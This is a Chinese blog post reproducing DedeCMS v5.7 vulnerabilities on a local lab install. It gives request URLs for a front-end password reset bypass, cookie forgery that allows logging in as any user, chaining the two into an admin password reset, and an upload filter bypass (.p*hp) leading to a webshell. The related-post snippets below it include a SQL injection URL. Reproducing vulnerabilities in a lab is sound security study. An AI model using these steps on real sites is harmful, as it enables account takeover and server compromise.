DedeCms织梦系统漏洞复现

最新推荐文章于 2024-09-14 17:22:57 发布
最新推荐文章于 2024-09-14 17:22:57 发布
阅读量2.3k 收藏 35
点赞数 22
文章标签： 网络安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/LIU6636LIU/article/details/136692012
版权

1 部署好之后 

发现系统默认管理路径是dede，登陆管理后台可以通过地址

127.0.0.1/DedeCMS-V5.7-GBK-SP1/uploads/dede/

然后有dedecms安全提示

直接打开根目录修改dede文件夹为LYP

重新进去管理员后台

127.0.0.1/DedeCMS-V5.7-GBK-SP1/uploads/LYP/

对数据进行还原

看一下网站的地址

接着生成新的网站

然后即可访问网站，CMS搭建完毕

首先打开后台管理页面开启会员功能

这样就可以注册一个账户

1前台任意账号密码修改(账号未设置安全问题)

burpsuite抓包

先进行如下请求获取密钥

http://127.0.0.1/DedeCMS-V5.7-GBK-SP1/uploads/member/resetpassword.php?dopost=safequestion&safequestion=0.0&id=1

key=HUYJwyDZ

找到key之后直接拼接然后访问

http://127.0.0.1/DedeCMS-V5.7-GBK-SP1/uploads/member/resetpassword.php?dopost=getpasswd&id=1&key=key=HUYJwyDZ

2cookie伪造导致任意前台用户登录

访问如下请求获取伪造的cookie,

http://127.0.0.1/DedeCMS-V5.7-GBK-SP1/uploads/member/index.php?uid=001

接下来使用lyp账号登录，登录后修改cookie。

将last_vid的值赋给DedeUserID，last_vid__ckMd5的值赋给DedeUserID__ckMd5

修改完成刷新进入了admin页面实现cookie伪造导致任意前台用户登录

3、任意重置后台用户密码

其实就是上面前台任意账号密码修改和cookie伪造导致任意前台用户登录两个漏洞的结合使用

原理：在\DedeCMS-V5.7-GBK-SP1/uploads//member/edit_baseinfo.php文件中的第118-123行中，当使用admin用户登录前台进行密码修改的时候会顺带将admin的后台密码也进行修改了。

先利用前台用户任意密码重置漏洞重置admin的前台密码，然后使用cookie伪造漏洞使用admin用户登录到前台在如下页面中进行密码重置，旧密码便是利用前台用户任意密码重置漏洞重置admin的前台密码

访问http://127.0.0.1/DedeCMS-V5.7-GBK-SP1/uploads//member/edit_baseinfo.php便可以直接修改密码

4、前台台任意文件上传

原理:dede在uploads\include\dialog\select_images_post.php代码中校验文件名时，不是取文件的后缀名来进行判断的，而是对文件格式进行判断，然后再取后缀名进行拼接上传，便造成了可已使用xxx.jpg.p%php或xxx.jpg.p*hp等方式绕过

前台会员可以通过内容中心的编辑器中上传绕过

配置问题可能会造成如下文件管理器的未授权访问以进行上传绕过

但一般网站会对如下连接做一个跳转

文件上传得到shell

Dedecms 最新版漏洞收集并复现学习
墨痕诉清风的博客
09-30 5535
在用户密码重置功能处，php存在弱类型比较，导致如果用户没有设置密保问题的情况下可以绕过验证密保问题，直接修改密码(管理员账户默认不设置密保问题)。这么一次过滤，直接粗暴的将一些特殊字符替换为空，那么我们就可以通过特殊字符绕过上面的全局文件名不能包含php字符的限制，比如文件名为。这样，由于index.php中我们可以控制返回一个输入值和这个输入值经过服务器处理后的md5值。我们可以看到当uid存在值时就会进入我们现在的代码中，当cookie中的last_vid中不存在值为空时，就会将uid值赋予过去，
渗透实战：dedeCMS任意用户密码重置到内网getshell
niobi的博客
05-05 2393
DedeCMS是一款国产的开源CMS系统，具有使用简单、功能强大、可扩展性好等特点。然而，像其他CMS系统一样，DedeCMS也存在一些安全问题，其中任意密码重置漏洞是其中一个比较严重的漏洞。通过信息泄露，攻击者可以获取到网站的用户的用户名和一些敏感信息，然后通过利用任意密码重置漏洞，在不知道原密码的情况下，重置管理员账号的密码，从而获取管理员权限。接着，攻击者可以通过后台getshell，获取网站的控制权，进而进行各种恶意操作，如上传恶意文件、篡改网站内容、窃取用户信息等。
【漏洞情报】复现任务
liangtaiwei的博客
12-13 2531
一、漏洞概述 织梦内容管理系统(DedeCms) [1] 以简单、实用、开源而闻名，是国内 最知名的 PHP 开源网站管理系统，也是使用用户最多的 PHP 类 CMS 系统， 在经历多年的发展，目前的版本无论在功能，还是在易用性方面，都有了长 足的发展和进步，DedeCms 免费版的主要目标用户锁定在个人站长，功能 更专注于个人网站或中小型门户的构建，当然也不乏有企业用户和学校等在 使用该系统。 2018 年 1 月 10 日， 锦行信息安全公众号公开了一个关于 DeDeCMS
DeDeCMS靶场漏洞复现
最新发布
2401_82451607的博客
09-14 667
DeDeCMS靶场漏洞复现
DeDeCMS-漏洞复现
weixin_57682301的博客
08-03 497
2.上传后访问你上传的一句话木马文件 我这里写的一句话木马为phpinfo，显示成功即可证明注入。4.点击生成--更新主页html，将htm后缀改成php并且生成静态，点击更新主页html。5.访问此页面，没有报错证明注入成功（由于没有回显，这里输入的POST传参）1.点击核心--文件式管理器 点击文件上传，将我们的一句话木马进行上传。2.进入后点击模板--默认模板管理，找到index.htm。3.点击右方的编辑进入后改成写入的一句话木马，然后点击保存。1.点击模板--广告管理--生成一个新广告。
DedeCMS_v5.7漏洞复现
热门推荐
qq_51459600的博客
04-06 1万+
DedeCMS_v5.7漏洞复现 环境搭建： 服务器：WinServer2008（10.10.10.143） + phpstudy2018 DedeCMS版本：DedeCMS-V5.7-UTF8-SP2 下载地址：https://pan.baidu.com/s/1GQjWSDe7IlMVsVJ7HvrBOw 提取码: i4wk 0x01 URL重定向 版本<=5.7sp2 漏洞复现 payload： http://10.10.10.143/Dedecms/plus/download.php?open
漏洞复现，DeDeCMS织梦
qq_53188113的博客
11-25 3167
目录 一、复现环境 二、复现过程及环境 一、复现环境 PHP 5.6 DeDeCMSV5.7SP2 正式版(2018-01-09) 二、复现过程及环境 安装 DeDeCMS 首先，利用PHPstudy安装环境 点击网站，进入后再点击创建网站，然后填写域名，可根据自己的需要来填写 回到文件夹，打开 DeDeCMS所在文件夹的uploads路径，把其下所有的文件复制到 studypro文件夹的www目录中即可 域名/install/ 进入安装页面 填写好..
漏洞复现--织梦CMS_V5.7任意用户密码重置漏洞
HengMengSec的博客
08-16 2261
织梦内容管理系统（DeDeCMS）以其简单、实用、开源的特点而著名。作为国内最知名的PHP开源网站管理系统，它在多年的发展中取得了显著进步，无论在功能还是易用性方面都有长足的发展。该系统广泛应用于中小型企业门户网站、个人网站、企业和学习网站建设。在中国，DedeCMS被认为是最受欢迎的CMS系统之一。但是，最近发现该系统的一个漏洞位于member/resetpassword.php文件中。由于未对接收的参数safeanswer进行严格的类型判断，攻击者可以利用弱类型比较来绕过安全措施。
DedeCMS漏洞复现
qq_52223347的博客
03-10 1048
介绍 织梦CMS是集简单、健壮、灵活、开源几大特点的开源内容管理系统,目前占领了国内开源CMS的大部份市场,目前已经有超过三十万个站点正在使用织梦CMS或基于织梦CMS核心开发。 官方网站: http://www.dedecms.com/ 环境搭建 phpstudy 创建数据库 解压源码到www下 Dedecms_v5.7ps2 访问 DedeCMS/uploads/install/index.php 安装 安装完成–》登陆后台 任意文件操作漏洞复现 进到网站后台–》访问 dede/tpl.php?act
DEDECMS v5.6漏洞复现
_Ralph的博客
01-16 8095
织梦内容管理系统(dedecms) 以简单、实用、开源而闻名，是国内最知名的PHP开源网站管理系统，也是使用用户最多的PHP类cms系统，在经历多年的发展，目前的版本无论在功能，还是在易用性方面，都有了长足的发展和进步，DedeCms免费版的主要目标用户锁定在个人站长，功能更专注于个人网站或中小型门户的构建，当然也不乏有企业用户和学校等在使用该系统。 闲来无事，复现一下dedecms v5.6版
[漏洞复现]织梦CMS前台任意用户修改密码
Sapphire037的博客
11-22 5166
1 复现环境 PHP 5.6 DeDeCMSV5.7SP2 正式版(2018-01-09) 复现过程 照葫芦画瓢，水一篇博客。 先下载好该版本的源码,然后解压,搭建过程具体看这篇文章 搭建好以后，反正我是不能直接访问首页的，我们先进入后台首页，默认用户名admin，密码admin。然后 打开会员功能，不然我们将无法访问member.php 然后访问http://127.0.0.1/DedeCMS/member/index.php这个看自己目录是多少来定，然后注册一个账号，用户名 密码都是test,然后登
DedeCMS V5.7文件上传漏洞复现
weixin_51047454的博客
03-20 1385
CVE-2018-20129-DedeCMS V5.7 SP2前台文件上传漏洞复现 登录管理页面后，开启会员功能（默认是关闭的） 回到首页，用户登录后，点击会员中心。 打开内容中心（第一次进入会提示完善个人信息，完善一下，不然不能操作） 重点开始 4. 发表文章的表单最下方有一个图片的图标，点击可以选择上传图片到服务端。 制作图片码 上传 抓包修改文件后缀：p*hp 连接，成功 代码审计 为什么用.ph%p就可以绕过检测了？我们来看看源码中的问题部分。 找到图片的校验部分的源
dedecms漏洞简单复现
qq_53639387的博客
11-26 2909
一.利用phpstudy来搭建dedecms网站（下载phpstudy） 下载可以在官网下https://www.xp.cn/download.html 安装完成 设置如下 二.下载dedecms源码 http://updatenew.dedecms.com/base-v57/package/DedeCMS-V5.7-GBK-SP2-Full.tar.gz 将其解压然后将文件名为uploads里面的文件复制到 phpstudy_pro文件中的www中三.安装dedecms ...
DedeCms 织梦系统 漏洞 上传webshell复现 四种方法 超详细
qq_48368964的博客
08-03 632
DedeCMS是织梦团队开发PHP 网站管理系统，它以简单、易用、高效为特色，组建出各种各样各具特色的网站，如地方门户、行业门户、政府及企事业站点等。
dedecms 文件上传 （CVE-2019-8933）漏洞复现
weixin_42675091的博客
09-03 3628
dedecms 文件上传 （CVE-2019-8933）
织梦漏洞复现
m0_60429594的博客
12-13 1993
1、影响版本 DeDeCMSV5.7SP2 正式版(2018-01-09)DeDeCMS 前台任意用户密码修改漏洞 2、复现环境 PHP 5.6 DeDeCMSV5.7SP2 正式版(2018-01-09) 2 复现过程及结果 ①建立好网站，安装好DeDeCMS并注册好一个账号 ②查看好MID，test的mid=2 ③利用抓包软件抓到key ④key就是临时验证码，利用临时验证码即可修改密码，复现完成 ...
【漏洞复现】DedeCMS存在文件包含漏洞导致后台getshell(CVE-2023-2928)
做自己喜欢的事，并将其发挥到极致！
05-31 3848
uploads/dede/article_allowurl_edit.php存在缺少对该文件中写入内容的任何过滤是导致该漏洞的因素之一，在5.7.106之前的DedeCMS中发现了一个漏洞。它已被宣布为关键。受此漏洞影响的是文件uploads/dede/article_allowurl_edit.php的未知功能。操纵参数allurls会导致代码注入。可以远程发起攻击获得网站控制权限。
DedeCMS_v5.7其他漏洞复现
wutiangui的博客
09-12 583
其中aHR0cDovL3d3dy5iYWlkdS5jb20=是http://www.baidu.com的base64编码。管理员在添加用户购买商品的配送方式时，可能会触发存储型xss。进入后台—>会员—>配货方式设置—>增加一个配货方式。二、后台shops_delivery_存储型XSS。后台modifytmp.inc被写入了新内容。三、sys_verifies后台文件写入。用户在购买商品时会自动弹出配送方式列表。版本：5.7sp1、5.7sp2。访问后发现直接转到百度。
【复现任务】织梦CMS前台任意用户密码修改漏洞简报
weixin_52852770的博客
11-29 3455
漏洞概述 1 简介 织梦内容管理系统(DedeCms) [1] 以简单、实用、开源而闻名，是国内最知名的 PHP 开源网站管理系统，也是使用用户最多的 PHP 类 CMS 系统，在经历多年的发展，目前的版本无论在功能，还是在易用性方面，都有了长足的发展和进步，DedeCms 免费版的主要目标用户锁定在个人站长，功能更专注于个人网站或中小型门户的构建，当然也不乏有企业用户和学校等在使用该系统。 2018 年 1 月 10 日， 锦行信息安全公众号公开了一个关于 DeDeCMS 前台任意用户密码修改漏洞的
dedecms漏洞复现
03-28
由于 Dedecms 平台存在多个漏洞，以下是一个常见的 Dedecms 漏洞复现过程： 1. 扫描目标 Dedecms 站点，确定其版本号和漏洞类型。 2. 找到对应的漏洞利用代码，例如 Dedecms v5.7 SP2 sql注入漏洞利用代码： ``` http://www.target.com/search.php?kw=%27%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100%23 ``` 3. 将漏洞利用代码粘贴到浏览器地址栏并访问，如果出现错误信息或页面内容发生变化，则说明漏洞存在。 4. 利用漏洞进行攻击，例如获取敏感数据、添加管理员账户等。 需要注意的是，任何未经授权的攻击行为都是违法的，建议仅在合法的安全测试环境中进行漏洞复现和攻击。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

网安小趴菜

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值